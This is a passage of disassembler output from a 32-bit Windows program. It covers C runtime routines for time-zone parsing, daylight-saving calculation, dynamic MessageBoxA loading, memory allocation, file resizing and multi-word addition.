loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1CC792E8h], dl
		add	ah, byte ptr dword_4DB4A0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DB4A035h, 80E89000h, 0C3021CC7h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 25F0B4Fh
		nop
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25F0AA8h
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB560, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB560

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4A8, ebp
		mov	dword_43CD50, ebx
		mov	dword_43CD40, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4B0
		nop
		call	near ptr 2860000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4B0
		mov	ecx, dword_4DB504
		imul	eax, 3Ch
		cmp	word_4DB4F6, bp
		push	1
		pop	edx
		mov	dword_43CCA8, eax
		mov	dword_4DB4A8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCA8, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB54A, bp
		jz	short loc_424887
		mov	eax, dword_4DB558
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCAC, edx
		imul	eax, 3Ch
		mov	dword_43CCB0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCAC, ebp
		mov	dword_43CCB0, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD34
		push	ebx
		push	offset dword_4DB4B4
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD34
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD34
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD38
		push	ebx
		push	offset dword_4DB508
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD38
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB55C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB55C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB55C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD34
		call	sub_41B5F0
		mov	eax, off_43CD34
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCA8, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCA8, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCAC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD38
		call	sub_41B5F0
		mov	eax, off_43CD38
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD38
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCAC, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD40
		jnz	short loc_424A7C
		cmp	eax, dword_43CD50
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4A8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB556
		push	ecx
		cmp	word_4DB548, di
		movzx	ecx, word_4DB554
		push	ecx
		movzx	ecx, word_4DB552
		push	ecx
		movzx	ecx, word_4DB550
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB54C
		push	edi
		push	ecx
		movzx	ecx, word_4DB54E
		push	ecx
		movzx	ecx, word_4DB54A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB54E
		push	ecx
		push	edi
		movzx	ecx, word_4DB54A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB502
		add	esp, 2Ch
		cmp	word_4DB4F4, di
		push	eax
		movzx	eax, word_4DB500
		push	eax
		movzx	eax, word_4DB4FE
		push	eax
		movzx	eax, word_4DB4FC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB4F8
		push	edi
		push	eax
		movzx	eax, word_4DB4FA
		push	eax
		movzx	eax, word_4DB4F6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB4FA
		push	eax
		push	edi
		movzx	eax, word_4DB4F6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD44
		mov	eax, dword_43CD54
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD48
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD58
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD58[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CD8C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD5C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CD90[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD58[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CD8C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD44, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD40, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD48, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD54, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCB0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD58, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD58, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD58, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD54, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD50, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC7E1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C302[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB564, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26A0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB564, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB568, eax
		call	esi
		mov	dword_4DB56C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB568
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB56C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB564


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC900
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C2F4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC904
		call	near ptr 27A0000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB2FC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5A0, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB598
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB598
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC6C0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB27C, 5
		jnz	short loc_424FDC
		mov	dword_4DB278, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		call	near ptr 25F0000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB278, 0Dh
		nop
		call	near ptr 26709FBh
		mov	dword_4DB27C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB278, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
